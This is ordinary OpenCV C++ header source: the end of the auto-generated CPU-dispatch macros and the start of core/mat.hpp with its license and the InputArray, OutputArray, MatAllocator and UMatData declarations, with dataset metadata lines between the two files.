(cv::checkHardwareSupport(CV_CPU_NEON)) # define CV_CPU_CALL_NEON(fn, args) if (CV_CPU_HAS_SUPPORT_NEON) return (opt_NEON::fn args) # define CV_CPU_CALL_NEON_(fn, args) if (CV_CPU_HAS_SUPPORT_NEON) return (opt_NEON::fn args) #else # define CV_TRY_NEON 0 # define CV_CPU_FORCE_NEON 0 # define CV_CPU_HAS_SUPPORT_NEON 0 # define CV_CPU_CALL_NEON(fn, args) # define CV_CPU_CALL_NEON_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_NEON(fn, args, mode, ...) CV_CPU_CALL_NEON(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_MSA # define CV_TRY_MSA 1 # define CV_CPU_FORCE_MSA 1 # define CV_CPU_HAS_SUPPORT_MSA 1 # define CV_CPU_CALL_MSA(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_MSA_(fn, args) return (opt_MSA::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_MSA # define CV_TRY_MSA 1 # define CV_CPU_FORCE_MSA 0 # define CV_CPU_HAS_SUPPORT_MSA (cv::checkHardwareSupport(CV_CPU_MSA)) # define CV_CPU_CALL_MSA(fn, args) if (CV_CPU_HAS_SUPPORT_MSA) return (opt_MSA::fn args) # define CV_CPU_CALL_MSA_(fn, args) if (CV_CPU_HAS_SUPPORT_MSA) return (opt_MSA::fn args) #else # define CV_TRY_MSA 0 # define CV_CPU_FORCE_MSA 0 # define CV_CPU_HAS_SUPPORT_MSA 0 # define CV_CPU_CALL_MSA(fn, args) # define CV_CPU_CALL_MSA_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_MSA(fn, args, mode, ...) CV_CPU_CALL_MSA(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_VSX # define CV_TRY_VSX 1 # define CV_CPU_FORCE_VSX 1 # define CV_CPU_HAS_SUPPORT_VSX 1 # define CV_CPU_CALL_VSX(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_VSX_(fn, args) return (opt_VSX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_VSX # define CV_TRY_VSX 1 # define CV_CPU_FORCE_VSX 0 # define CV_CPU_HAS_SUPPORT_VSX (cv::checkHardwareSupport(CV_CPU_VSX)) # define CV_CPU_CALL_VSX(fn, args) if (CV_CPU_HAS_SUPPORT_VSX) return (opt_VSX::fn args) # define CV_CPU_CALL_VSX_(fn, args) if (CV_CPU_HAS_SUPPORT_VSX) return (opt_VSX::fn args) #else # define CV_TRY_VSX 0 # define CV_CPU_FORCE_VSX 0 # define CV_CPU_HAS_SUPPORT_VSX 0 # define CV_CPU_CALL_VSX(fn, args) # define CV_CPU_CALL_VSX_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_VSX(fn, args, mode, ...) CV_CPU_CALL_VSX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_VSX3 # define CV_TRY_VSX3 1 # define CV_CPU_FORCE_VSX3 1 # define CV_CPU_HAS_SUPPORT_VSX3 1 # define CV_CPU_CALL_VSX3(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_VSX3_(fn, args) return (opt_VSX3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_VSX3 # define CV_TRY_VSX3 1 # define CV_CPU_FORCE_VSX3 0 # define CV_CPU_HAS_SUPPORT_VSX3 (cv::checkHardwareSupport(CV_CPU_VSX3)) # define CV_CPU_CALL_VSX3(fn, args) if (CV_CPU_HAS_SUPPORT_VSX3) return (opt_VSX3::fn args) # define CV_CPU_CALL_VSX3_(fn, args) if (CV_CPU_HAS_SUPPORT_VSX3) return (opt_VSX3::fn args) #else # define CV_TRY_VSX3 0 # define CV_CPU_FORCE_VSX3 0 # define CV_CPU_HAS_SUPPORT_VSX3 0 # define CV_CPU_CALL_VSX3(fn, args) # define CV_CPU_CALL_VSX3_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_VSX3(fn, args, mode, ...) CV_CPU_CALL_VSX3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #define CV_CPU_CALL_BASELINE(fn, args) return (cpu_baseline::fn args) #define __CV_CPU_DISPATCH_CHAIN_BASELINE(fn, args, mode, ...) CV_CPU_CALL_BASELINE(fn, args) /* last in sequence */
26,450
cv_cpu_helper
h
en
c
code
{"qsc_code_num_words": 4631, "qsc_code_num_chars": 26450.0, "qsc_code_mean_word_length": 4.05916649, "qsc_code_frac_words_unique": 0.01338804, "qsc_code_frac_chars_top_2grams": 0.1231514, "qsc_code_frac_chars_top_3grams": 0.17613576, "qsc_code_frac_chars_top_4grams": 0.11091605, "qsc_code_frac_chars_dupe_5grams": 0.97217789, "qsc_code_frac_chars_dupe_6grams": 0.94313225, "qsc_code_frac_chars_dupe_7grams": 0.89030748, "qsc_code_frac_chars_dupe_8grams": 0.83503564, "qsc_code_frac_chars_dupe_9grams": 0.79130759, "qsc_code_frac_chars_dupe_10grams": 0.74896266, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04602972, "qsc_code_frac_chars_whitespace": 0.10964083, "qsc_code_size_file_byte": 26450.0, "qsc_code_num_lines": 487.0, "qsc_code_num_chars_line_max": 174.0, "qsc_code_num_chars_line_mean": 54.31211499, "qsc_code_frac_chars_alphabet": 0.75218684, "qsc_code_frac_chars_comments": 0.00196597, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2987013, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.35281385, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.35281385, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/mat.hpp
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Copyright (C) 2013, OpenCV Foundation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_MAT_HPP #define OPENCV_CORE_MAT_HPP #ifndef __cplusplus # error mat.hpp header must be compiled as C++ #endif #include "opencv2/core/matx.hpp" #include "opencv2/core/types.hpp" #include "opencv2/core/bufferpool.hpp" #include <type_traits> namespace cv { //! @addtogroup core_basic //! @{ enum AccessFlag { ACCESS_READ=1<<24, ACCESS_WRITE=1<<25, ACCESS_RW=3<<24, ACCESS_MASK=ACCESS_RW, ACCESS_FAST=1<<26 }; CV_ENUM_FLAGS(AccessFlag) __CV_ENUM_FLAGS_BITWISE_AND(AccessFlag, int, AccessFlag) CV__DEBUG_NS_BEGIN class CV_EXPORTS _OutputArray; //////////////////////// Input/Output Array Arguments ///////////////////////////////// /** @brief This is the proxy class for passing read-only input arrays into OpenCV functions. It is defined as: @code typedef const _InputArray& InputArray; @endcode where _InputArray is a class that can be constructed from `Mat`, `Mat_<T>`, `Matx<T, m, n>`, `std::vector<T>`, `std::vector<std::vector<T> >`, `std::vector<Mat>`, `std::vector<Mat_<T> >`, `UMat`, `std::vector<UMat>` or `double`. It can also be constructed from a matrix expression. Since this is mostly implementation-level class, and its interface may change in future versions, we do not describe it in details. There are a few key things, though, that should be kept in mind: - When you see in the reference manual or in OpenCV source code a function that takes InputArray, it means that you can actually pass `Mat`, `Matx`, `vector<T>` etc. (see above the complete list). - Optional input arguments: If some of the input arrays may be empty, pass cv::noArray() (or simply cv::Mat() as you probably did before). - The class is designed solely for passing parameters. That is, normally you *should not* declare class members, local and global variables of this type. - If you want to design your own function or a class method that can operate of arrays of multiple types, you can use InputArray (or OutputArray) for the respective parameters. Inside a function you should use _InputArray::getMat() method to construct a matrix header for the array (without copying data). _InputArray::kind() can be used to distinguish Mat from `vector<>` etc., but normally it is not needed. Here is how you can use a function that takes InputArray : @code std::vector<Point2f> vec; // points or a circle for( int i = 0; i < 30; i++ ) vec.push_back(Point2f((float)(100 + 30*cos(i*CV_PI*2/5)), (float)(100 - 30*sin(i*CV_PI*2/5)))); cv::transform(vec, vec, cv::Matx23f(0.707, -0.707, 10, 0.707, 0.707, 20)); @endcode That is, we form an STL vector containing points, and apply in-place affine transformation to the vector using the 2x3 matrix created inline as `Matx<float, 2, 3>` instance. Here is how such a function can be implemented (for simplicity, we implement a very specific case of it, according to the assertion statement inside) : @code void myAffineTransform(InputArray _src, OutputArray _dst, InputArray _m) { // get Mat headers for input arrays. This is O(1) operation, // unless _src and/or _m are matrix expressions. Mat src = _src.getMat(), m = _m.getMat(); CV_Assert( src.type() == CV_32FC2 && m.type() == CV_32F && m.size() == Size(3, 2) ); // [re]create the output array so that it has the proper size and type. // In case of Mat it calls Mat::create, in case of STL vector it calls vector::resize. _dst.create(src.size(), src.type()); Mat dst = _dst.getMat(); for( int i = 0; i < src.rows; i++ ) for( int j = 0; j < src.cols; j++ ) { Point2f pt = src.at<Point2f>(i, j); dst.at<Point2f>(i, j) = Point2f(m.at<float>(0, 0)*pt.x + m.at<float>(0, 1)*pt.y + m.at<float>(0, 2), m.at<float>(1, 0)*pt.x + m.at<float>(1, 1)*pt.y + m.at<float>(1, 2)); } } @endcode There is another related type, InputArrayOfArrays, which is currently defined as a synonym for InputArray: @code typedef InputArray InputArrayOfArrays; @endcode It denotes function arguments that are either vectors of vectors or vectors of matrices. A separate synonym is needed to generate Python/Java etc. wrappers properly. At the function implementation level their use is similar, but _InputArray::getMat(idx) should be used to get header for the idx-th component of the outer vector and _InputArray::size().area() should be used to find the number of components (vectors/matrices) of the outer vector. In general, type support is limited to cv::Mat types. Other types are forbidden. But in some cases we need to support passing of custom non-general Mat types, like arrays of cv::KeyPoint, cv::DMatch, etc. This data is not intended to be interpreted as an image data, or processed somehow like regular cv::Mat. To pass such custom type use rawIn() / rawOut() / rawInOut() wrappers. Custom type is wrapped as Mat-compatible `CV_8UC<N>` values (N = sizeof(T), N <= CV_CN_MAX). */ class CV_EXPORTS _InputArray { public: enum KindFlag { KIND_SHIFT = 16, FIXED_TYPE = 0x8000 << KIND_SHIFT, FIXED_SIZE = 0x4000 << KIND_SHIFT, KIND_MASK = 31 << KIND_SHIFT, NONE = 0 << KIND_SHIFT, MAT = 1 << KIND_SHIFT, MATX = 2 << KIND_SHIFT, STD_VECTOR = 3 << KIND_SHIFT, STD_VECTOR_VECTOR = 4 << KIND_SHIFT, STD_VECTOR_MAT = 5 << KIND_SHIFT, EXPR = 6 << KIND_SHIFT, OPENGL_BUFFER = 7 << KIND_SHIFT, CUDA_HOST_MEM = 8 << KIND_SHIFT, CUDA_GPU_MAT = 9 << KIND_SHIFT, UMAT =10 << KIND_SHIFT, STD_VECTOR_UMAT =11 << KIND_SHIFT, STD_BOOL_VECTOR =12 << KIND_SHIFT, STD_VECTOR_CUDA_GPU_MAT = 13 << KIND_SHIFT, STD_ARRAY =14 << KIND_SHIFT, STD_ARRAY_MAT =15 << KIND_SHIFT }; _InputArray(); _InputArray(int _flags, void* _obj); _InputArray(const Mat& m); _InputArray(const MatExpr& expr); _InputArray(const std::vector<Mat>& vec); template<typename _Tp> _InputArray(const Mat_<_Tp>& m); template<typename _Tp> _InputArray(const std::vector<_Tp>& vec); _InputArray(const std::vector<bool>& vec); template<typename _Tp> _InputArray(const std::vector<std::vector<_Tp> >& vec); _InputArray(const std::vector<std::vector<bool> >&) = delete; // not supported template<typename _Tp> _InputArray(const std::vector<Mat_<_Tp> >& vec); template<typename _Tp> _InputArray(const _Tp* vec, int n); template<typename _Tp, int m, int n> _InputArray(const Matx<_Tp, m, n>& matx); _InputArray(const double& val); _InputArray(const cuda::GpuMat& d_mat); _InputArray(const std::vector<cuda::GpuMat>& d_mat_array); _InputArray(const ogl::Buffer& buf); _InputArray(const cuda::HostMem& cuda_mem); template<typename _Tp> _InputArray(const cudev::GpuMat_<_Tp>& m); _InputArray(const UMat& um); _InputArray(const std::vector<UMat>& umv); template<typename _Tp, std::size_t _Nm> _InputArray(const std::array<_Tp, _Nm>& arr); template<std::size_t _Nm> _InputArray(const std::array<Mat, _Nm>& arr); template<typename _Tp> static _InputArray rawIn(const std::vector<_Tp>& vec); template<typename _Tp, std::size_t _Nm> static _InputArray rawIn(const std::array<_Tp, _Nm>& arr); Mat getMat(int idx=-1) const; Mat getMat_(int idx=-1) const; UMat getUMat(int idx=-1) const; void getMatVector(std::vector<Mat>& mv) const; void getUMatVector(std::vector<UMat>& umv) const; void getGpuMatVector(std::vector<cuda::GpuMat>& gpumv) const; cuda::GpuMat getGpuMat() const; ogl::Buffer getOGlBuffer() const; int getFlags() const; void* getObj() const; Size getSz() const; _InputArray::KindFlag kind() const; int dims(int i=-1) const; int cols(int i=-1) const; int rows(int i=-1) const; Size size(int i=-1) const; int sizend(int* sz, int i=-1) const; bool sameSize(const _InputArray& arr) const; size_t total(int i=-1) const; int type(int i=-1) const; int depth(int i=-1) const; int channels(int i=-1) const; bool isContinuous(int i=-1) const; bool isSubmatrix(int i=-1) const; bool empty() const; void copyTo(const _OutputArray& arr) const; void copyTo(const _OutputArray& arr, const _InputArray & mask) const; size_t offset(int i=-1) const; size_t step(int i=-1) const; bool isMat() const; bool isUMat() const; bool isMatVector() const; bool isUMatVector() const; bool isMatx() const; bool isVector() const; bool isGpuMat() const; bool isGpuMatVector() const; ~_InputArray(); protected: int flags; void* obj; Size sz; void init(int _flags, const void* _obj); void init(int _flags, const void* _obj, Size _sz); }; CV_ENUM_FLAGS(_InputArray::KindFlag) __CV_ENUM_FLAGS_BITWISE_AND(_InputArray::KindFlag, int, _InputArray::KindFlag) /** @brief This type is very similar to InputArray except that it is used for input/output and output function parameters. Just like with InputArray, OpenCV users should not care about OutputArray, they just pass `Mat`, `vector<T>` etc. to the functions. The same limitation as for `InputArray`: *Do not explicitly create OutputArray instances* applies here too. If you want to make your function polymorphic (i.e. accept different arrays as output parameters), it is also not very difficult. Take the sample above as the reference. Note that _OutputArray::create() needs to be called before _OutputArray::getMat(). This way you guarantee that the output array is properly allocated. Optional output parameters. If you do not need certain output array to be computed and returned to you, pass cv::noArray(), just like you would in the case of optional input array. At the implementation level, use _OutputArray::needed() to check if certain output array needs to be computed or not. There are several synonyms for OutputArray that are used to assist automatic Python/Java/... wrapper generators: @code typedef OutputArray OutputArrayOfArrays; typedef OutputArray InputOutputArray; typedef OutputArray InputOutputArrayOfArrays; @endcode */ class CV_EXPORTS _OutputArray : public _InputArray { public: enum DepthMask { DEPTH_MASK_8U = 1 << CV_8U, DEPTH_MASK_8S = 1 << CV_8S, DEPTH_MASK_16U = 1 << CV_16U, DEPTH_MASK_16S = 1 << CV_16S, DEPTH_MASK_32S = 1 << CV_32S, DEPTH_MASK_32F = 1 << CV_32F, DEPTH_MASK_64F = 1 << CV_64F, DEPTH_MASK_16F = 1 << CV_16F, DEPTH_MASK_ALL = (DEPTH_MASK_64F<<1)-1, DEPTH_MASK_ALL_BUT_8S = DEPTH_MASK_ALL & ~DEPTH_MASK_8S, DEPTH_MASK_ALL_16F = (DEPTH_MASK_16F<<1)-1, DEPTH_MASK_FLT = DEPTH_MASK_32F + DEPTH_MASK_64F }; _OutputArray(); _OutputArray(int _flags, void* _obj); _OutputArray(Mat& m); _OutputArray(std::vector<Mat>& vec); _OutputArray(cuda::GpuMat& d_mat); _OutputArray(std::vector<cuda::GpuMat>& d_mat); _OutputArray(ogl::Buffer& buf); _OutputArray(cuda::HostMem& cuda_mem); template<typename _Tp> _OutputArray(cudev::GpuMat_<_Tp>& m); template<typename _Tp> _OutputArray(std::vector<_Tp>& vec); _OutputArray(std::vector<bool>& vec) = delete; // not supported template<typename _Tp> _OutputArray(std::vector<std::vector<_Tp> >& vec); _OutputArray(std::vector<std::vector<bool> >&) = delete; // not supported template<typename _Tp> _OutputArray(std::vector<Mat_<_Tp> >& vec); template<typename _Tp> _OutputArray(Mat_<_Tp>& m); template<typename _Tp> _OutputArray(_Tp* vec, int n); template<typename _Tp, int m, int n> _OutputArray(Matx<_Tp, m, n>& matx); _OutputArray(UMat& m); _OutputArray(std::vector<UMat>& vec); _OutputArray(const Mat& m); _OutputArray(const std::vector<Mat>& vec); _OutputArray(const cuda::GpuMat& d_mat); _OutputArray(const std::vector<cuda::GpuMat>& d_mat); _OutputArray(const ogl::Buffer& buf); _OutputArray(const cuda::HostMem& cuda_mem); template<typename _Tp> _OutputArray(const cudev::GpuMat_<_Tp>& m); template<typename _Tp> _OutputArray(const std::vector<_Tp>& vec); template<typename _Tp> _OutputArray(const std::vector<std::vector<_Tp> >& vec); template<typename _Tp> _OutputArray(const std::vector<Mat_<_Tp> >& vec); template<typename _Tp> _OutputArray(const Mat_<_Tp>& m); template<typename _Tp> _OutputArray(const _Tp* vec, int n); template<typename _Tp, int m, int n> _OutputArray(const Matx<_Tp, m, n>& matx); _OutputArray(const UMat& m); _OutputArray(const std::vector<UMat>& vec); template<typename _Tp, std::size_t _Nm> _OutputArray(std::array<_Tp, _Nm>& arr); template<typename _Tp, std::size_t _Nm> _OutputArray(const std::array<_Tp, _Nm>& arr); template<std::size_t _Nm> _OutputArray(std::array<Mat, _Nm>& arr); template<std::size_t _Nm> _OutputArray(const std::array<Mat, _Nm>& arr); template<typename _Tp> static _OutputArray rawOut(std::vector<_Tp>& vec); template<typename _Tp, std::size_t _Nm> static _OutputArray rawOut(std::array<_Tp, _Nm>& arr); bool fixedSize() const; bool fixedType() const; bool needed() const; Mat& getMatRef(int i=-1) const; UMat& getUMatRef(int i=-1) const; cuda::GpuMat& getGpuMatRef() const; std::vector<cuda::GpuMat>& getGpuMatVecRef() const; ogl::Buffer& getOGlBufferRef() const; cuda::HostMem& getHostMemRef() const; void create(Size sz, int type, int i=-1, bool allowTransposed=false, _OutputArray::DepthMask fixedDepthMask=static_cast<_OutputArray::DepthMask>(0)) const; void create(int rows, int cols, int type, int i=-1, bool allowTransposed=false, _OutputArray::DepthMask fixedDepthMask=static_cast<_OutputArray::DepthMask>(0)) const; void create(int dims, const int* size, int type, int i=-1, bool allowTransposed=false, _OutputArray::DepthMask fixedDepthMask=static_cast<_OutputArray::DepthMask>(0)) const; void createSameSize(const _InputArray& arr, int mtype) const; void release() const; void clear() const; void setTo(const _InputArray& value, const _InputArray & mask = _InputArray()) const; void assign(const UMat& u) const; void assign(const Mat& m) const; void assign(const std::vector<UMat>& v) const; void assign(const std::vector<Mat>& v) const; void move(UMat& u) const; void move(Mat& m) const; }; class CV_EXPORTS _InputOutputArray : public _OutputArray { public: _InputOutputArray(); _InputOutputArray(int _flags, void* _obj); _InputOutputArray(Mat& m); _InputOutputArray(std::vector<Mat>& vec); _InputOutputArray(cuda::GpuMat& d_mat); _InputOutputArray(ogl::Buffer& buf); _InputOutputArray(cuda::HostMem& cuda_mem); template<typename _Tp> _InputOutputArray(cudev::GpuMat_<_Tp>& m); template<typename _Tp> _InputOutputArray(std::vector<_Tp>& vec); _InputOutputArray(std::vector<bool>& vec) = delete; // not supported template<typename _Tp> _InputOutputArray(std::vector<std::vector<_Tp> >& vec); template<typename _Tp> _InputOutputArray(std::vector<Mat_<_Tp> >& vec); template<typename _Tp> _InputOutputArray(Mat_<_Tp>& m); template<typename _Tp> _InputOutputArray(_Tp* vec, int n); template<typename _Tp, int m, int n> _InputOutputArray(Matx<_Tp, m, n>& matx); _InputOutputArray(UMat& m); _InputOutputArray(std::vector<UMat>& vec); _InputOutputArray(const Mat& m); _InputOutputArray(const std::vector<Mat>& vec); _InputOutputArray(const cuda::GpuMat& d_mat); _InputOutputArray(const std::vector<cuda::GpuMat>& d_mat); _InputOutputArray(const ogl::Buffer& buf); _InputOutputArray(const cuda::HostMem& cuda_mem); template<typename _Tp> _InputOutputArray(const cudev::GpuMat_<_Tp>& m); template<typename _Tp> _InputOutputArray(const std::vector<_Tp>& vec); template<typename _Tp> _InputOutputArray(const std::vector<std::vector<_Tp> >& vec); template<typename _Tp> _InputOutputArray(const std::vector<Mat_<_Tp> >& vec); template<typename _Tp> _InputOutputArray(const Mat_<_Tp>& m); template<typename _Tp> _InputOutputArray(const _Tp* vec, int n); template<typename _Tp, int m, int n> _InputOutputArray(const Matx<_Tp, m, n>& matx); _InputOutputArray(const UMat& m); _InputOutputArray(const std::vector<UMat>& vec); template<typename _Tp, std::size_t _Nm> _InputOutputArray(std::array<_Tp, _Nm>& arr); template<typename _Tp, std::size_t _Nm> _InputOutputArray(const std::array<_Tp, _Nm>& arr); template<std::size_t _Nm> _InputOutputArray(std::array<Mat, _Nm>& arr); template<std::size_t _Nm> _InputOutputArray(const std::array<Mat, _Nm>& arr); template<typename _Tp> static _InputOutputArray rawInOut(std::vector<_Tp>& vec); template<typename _Tp, std::size_t _Nm> _InputOutputArray rawInOut(std::array<_Tp, _Nm>& arr); }; /** Helper to wrap custom types. @see InputArray */ template<typename _Tp> static inline _InputArray rawIn(_Tp& v); /** Helper to wrap custom types. @see InputArray */ template<typename _Tp> static inline _OutputArray rawOut(_Tp& v); /** Helper to wrap custom types. @see InputArray */ template<typename _Tp> static inline _InputOutputArray rawInOut(_Tp& v); CV__DEBUG_NS_END typedef const _InputArray& InputArray; typedef InputArray InputArrayOfArrays; typedef const _OutputArray& OutputArray; typedef OutputArray OutputArrayOfArrays; typedef const _InputOutputArray& InputOutputArray; typedef InputOutputArray InputOutputArrayOfArrays; CV_EXPORTS InputOutputArray noArray(); /////////////////////////////////// MatAllocator ////////////////////////////////////// //! Usage flags for allocator enum UMatUsageFlags { USAGE_DEFAULT = 0, // buffer allocation policy is platform and usage specific USAGE_ALLOCATE_HOST_MEMORY = 1 << 0, USAGE_ALLOCATE_DEVICE_MEMORY = 1 << 1, USAGE_ALLOCATE_SHARED_MEMORY = 1 << 2, // It is not equal to: USAGE_ALLOCATE_HOST_MEMORY | USAGE_ALLOCATE_DEVICE_MEMORY __UMAT_USAGE_FLAGS_32BIT = 0x7fffffff // Binary compatibility hint }; struct CV_EXPORTS UMatData; /** @brief Custom array allocator */ class CV_EXPORTS MatAllocator { public: MatAllocator() {} virtual ~MatAllocator() {} // let's comment it off for now to detect and fix all the uses of allocator //virtual void allocate(int dims, const int* sizes, int type, int*& refcount, // uchar*& datastart, uchar*& data, size_t* step) = 0; //virtual void deallocate(int* refcount, uchar* datastart, uchar* data) = 0; virtual UMatData* allocate(int dims, const int* sizes, int type, void* data, size_t* step, AccessFlag flags, UMatUsageFlags usageFlags) const = 0; virtual bool allocate(UMatData* data, AccessFlag accessflags, UMatUsageFlags usageFlags) const = 0; virtual void deallocate(UMatData* data) const = 0; virtual void map(UMatData* data, AccessFlag accessflags) const; virtual void unmap(UMatData* data) const; virtual void download(UMatData* data, void* dst, int dims, const size_t sz[], const size_t srcofs[], const size_t srcstep[], const size_t dststep[]) const; virtual void upload(UMatData* data, const void* src, int dims, const size_t sz[], const size_t dstofs[], const size_t dststep[], const size_t srcstep[]) const; virtual void copy(UMatData* srcdata, UMatData* dstdata, int dims, const size_t sz[], const size_t srcofs[], const size_t srcstep[], const size_t dstofs[], const size_t dststep[], bool sync) const; // default implementation returns DummyBufferPoolController virtual BufferPoolController* getBufferPoolController(const char* id = NULL) const; }; //////////////////////////////// MatCommaInitializer ////////////////////////////////// /** @brief Comma-separated Matrix Initializer The class instances are usually not created explicitly. Instead, they are created on "matrix << firstValue" operator. The sample below initializes 2x2 rotation matrix: \code double angle = 30, a = cos(angle*CV_PI/180), b = sin(angle*CV_PI/180); Mat R = (Mat_<double>(2,2) << a, -b, b, a); \endcode */ template<typename _Tp> class MatCommaInitializer_ { public: //! the constructor, created by "matrix << firstValue" operator, where matrix is cv::Mat MatCommaInitializer_(Mat_<_Tp>* _m); //! the operator that takes the next value and put it to the matrix template<typename T2> MatCommaInitializer_<_Tp>& operator , (T2 v); //! another form of conversion operator operator Mat_<_Tp>() const; protected: MatIterator_<_Tp> it; }; /////////////////////////////////////// Mat /////////////////////////////////////////// // note that umatdata might be allocated together // with the matrix data, not as a separate object. // therefore, it does not have constructor or destructor; // it should be explicitly initialized using init(). struct CV_EXPORTS UMatData { enum MemoryFlag { COPY_ON_MAP=1, HOST_COPY_OBSOLETE=2, DEVICE_COPY_OBSOLETE=4, TEMP_UMAT=8, TEMP_COPIED_UMAT=24, USER_ALLOCATED=32, DEVICE_MEM_MAPPED=64, ASYNC_CLEANUP=128 }; UMatData(const MatAllocator* allocator); ~UMatData(); // provide atomic access to the structure void lock(); void unlock(); bool hostCopyObsolete() const; bool deviceCopyObsolete() const; bool deviceMemMapped() const; bool copyOnMap() const; bool tempUMat() const; bool tempCopiedUMat() const; void markHostCopyObsolete(bool flag); void markDeviceCopyObsolete(bool flag); void markDeviceMemMapped(bool flag); const MatAllocator* prevAllocator; const MatAllocator* currAllocator; int urefcount; int refcount; uchar* data; uchar* origdata; size_t size; UMatData::MemoryFlag flags; void* handle; void* userdata; int allocatorFlags_; int mapcount; UMatData* originalUMatData; }; CV_ENUM_FLAGS(UMatData::MemoryFlag) struct CV_EXPORTS MatSize { explicit MatSize(int* _p); int dims() const; Size operator()() const; const int& operator[](int i) const; int& operator[](int i); operator const int*() const; // TODO OpenCV 4.0: drop this bool operator == (const MatSize& sz) const; bool operator != (const MatSize& sz) const; int* p; }; struct CV_EXPORTS MatStep { MatStep(); explicit MatStep(size_t s); const size_t& operator[](int i) const; size_t& operator[](int i); operator size_t() const; MatStep& operator = (size_t s); size_t* p; size_t buf[2]; protected: MatStep& operator = (const MatStep&); }; /** @example samples/cpp/cout_mat.cpp An example demonstrating the serial out capabilities of cv::Mat */ /** @brief n-dimensional dense array class \anchor CVMat_Details The class Mat represents an n-dimensional dense numerical single-channel or multi-channel array. It can be used to store real or complex-valued vectors and matrices, grayscale or color images, voxel volumes, vector fields, point clouds, tensors, histograms (though, very high-dimensional histograms may be better stored in a SparseMat ). The data layout of the array `M` is defined by the array `M.step[]`, so that the address of element 